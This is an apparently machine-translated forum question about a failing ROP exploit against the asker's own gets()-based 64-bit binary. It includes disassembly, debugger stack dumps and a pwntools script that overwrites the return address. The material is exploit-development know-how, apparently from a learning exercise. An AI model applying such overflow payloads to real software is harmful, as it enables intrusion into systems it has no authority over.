我正在尝试使用 ROP 漏洞在 Ubuntu 18.04 LTS 64 位上工作。
我有一个带有 vuln 功能的 64 位二进制文件(启用 Nx,禁用 ASLR),如下所示:
public vuln
vuln proc near
var_100= byte ptr -100h
push rbp
mov rbp, rsp
sub rsp, 100h
lea rdi, s ; "Gimme some data!"
call _puts
lea rax, [rbp+var_100]
mov rdi, rax
mov eax, 0
call _gets
nop
leave
retn
vuln endp
我需要用 libc 基地址覆盖 vuln 函数的返回指针,我将在其中写入 execve 调用的参数。
缓冲区长 264 字节。因此,使用 272 'A' 我得到以下位置:
0x55555555471d <vuln+45> ret <0x4141414141414141>
堆:
00:0000│ rsp 0x7fffffffe2c8 ◂— 'AAAAAAAA'
但是当我尝试用 libc 地址(0x7ffff7a3a000)溢出时,它给出了一个 SIGSEGV 并且它的行为方式如下:
0x55555555471d <vuln+45> ret <0x3061785c3030785c>
堆:
00:0000│ rsp r11-6 0x7fffffffe2c8 ◂— 0x3061785c3030785c ('\\x00\\xa0')
01:0008│ 0x7fffffffe2d0 ◂— 0xefbdbfef3361785c
02:0010│ 0x7fffffffe2d8 ◂— 0x3030785cbdbf
我不知道我哪里错了!!!!我已经投入了这么多天,但没有任何程度。我以前做过缓冲区溢出,但从未遇到过这个问题。
以下是我生成有效负载的python脚本(这只是为了溢出返回地址):
#! /usr/bin/env python2
from pwn import *
payload = 'A' * 264
payload += p64(0x7ffff7a3a000)
print(payload)